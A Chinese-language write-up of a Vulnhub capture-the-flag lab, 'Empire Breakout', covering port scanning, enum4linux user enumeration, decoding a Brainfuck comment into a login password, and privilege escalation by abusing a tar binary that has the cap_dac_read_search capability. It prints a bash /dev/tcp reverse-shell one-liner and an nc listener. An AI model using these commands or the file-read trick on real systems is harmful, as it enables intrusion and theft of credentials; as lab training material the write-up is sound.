【渗透测试】Vulnhub EMPIRE BREAKOUT
渗透环境
攻击机: IP: 192.168.149.128(Kali)
靶机: IP:192.168.149.130
靶机下载地址:https://www.vulnhub.com/entry/empire-breakout,751/
进行渗透
一、 获取IP及端口信息
开机已经能看到靶机的IP,我们就不再扫描网段了。
扫描端口、系统、版本
nmap -sV -p- -O -A 192.168.149.130
在这里我们看到开放了80、139、445、10000、20000端口,并且识别了内核版本
二、 尝试发现漏洞
1. 访问80端口
访问80端口,发现这是一个apache2的默认页面。
查看源码,发现有一行注释,提供了一些信息
我之前也没有见过这种加密,那就问一下ChatGPT吧
知道是Brainfuck,然后我们找到一个在线网站对其进行解密
得到字符串
.2uqPEfj3D<P'a-3
根据他的提示,这是一个access,应该是一个密码。
2. 访问10000端口
直接访问,告诉我们应该使用https
访问https://192.168.149.130:10000,看到一个登录页面
我们猜测刚才得到的密码就是用于这里的登录的。至于用户名,我们可以使用Burpsuite加载字典进行爆破。不过我看到网上其他师傅使用的是enum4linux
使用命令
enum4linux -a 192.168.149.130
在最后的返回信息中我们看到有一个本地用户cyber
,我们尝试使用cyber
这个用户名和上面得到的字符串.2uqPEfj3D<P'a-3
进行登录
结果并不太理想,我们在10000这个端口上登录失败。
但是别忘了我们还有一个20000端口还没去看过,访问20000端口,界面和10000端口一样,我们使用上面的用户密码尝试登录,成功登录!!!!!
登录后我们在页面的左下角看到一个终端图标
点击之后就是一个shell,在此直接得到第一个flag
三、 提权
在当前目录下还有一个tar
文件我们还没有利用。先使用file
命令看一下文件类型
file ./tar
可以看到这是一个可执行文件
使用getcap
命令查看一下这个文件的权限。
getcap ./tar
cap_dac_read_search:绕过文件的 DAC(Discretionary Access Control) 读和搜索权限检查。
e:可执行文件能力。
p:进程有效用户 ID 设置。
用人话说就是这个可执行文件可以读任意文件。但是注意这个tar不是系统中安装的tar,因此我们在使用这个文件的时候记得要加上它的路径。我们可以看一下系统中的tar命令的安装路径,验证了这俩不是一个东西。
既然给了这个文件,那一定是存在一些敏感文件。我们在目录里找一找。
在/var/backups/
下我们找到一个备份文件.old_pass.bak
,并且可以看到只有root用户是拥有读写权限的,这是上面的tar文件就派上用场了。我们将这个文件进行打包,然后再解包,即可解决权限问题,看到其中的内容。注意我们在/var/backups/中是没有读写权限的,因此我们要切换到当前登录用户的家目录执行以下命令。
./tar -cvf pass.tar /var/backups/.old_pass.bak //打包生成pass.tar
./tar -xvf ./pass.tar //将pass.tar解包到当前路径
此时我们就可以看到解压后的 var
文件夹
进入目录查看,找到密码Ts&4&YurgtRX(=~h
反弹一个shell
kali:nc -nlvp 4444 //启动监听
靶机:bash -i >& /dev/tcp/192.168.149.128/4444 0>&1 //反弹shell
su
切换到root用户,使用上面的密码进行登录。然后在/root/rOOt.txt
找到第二个flag
渗透完成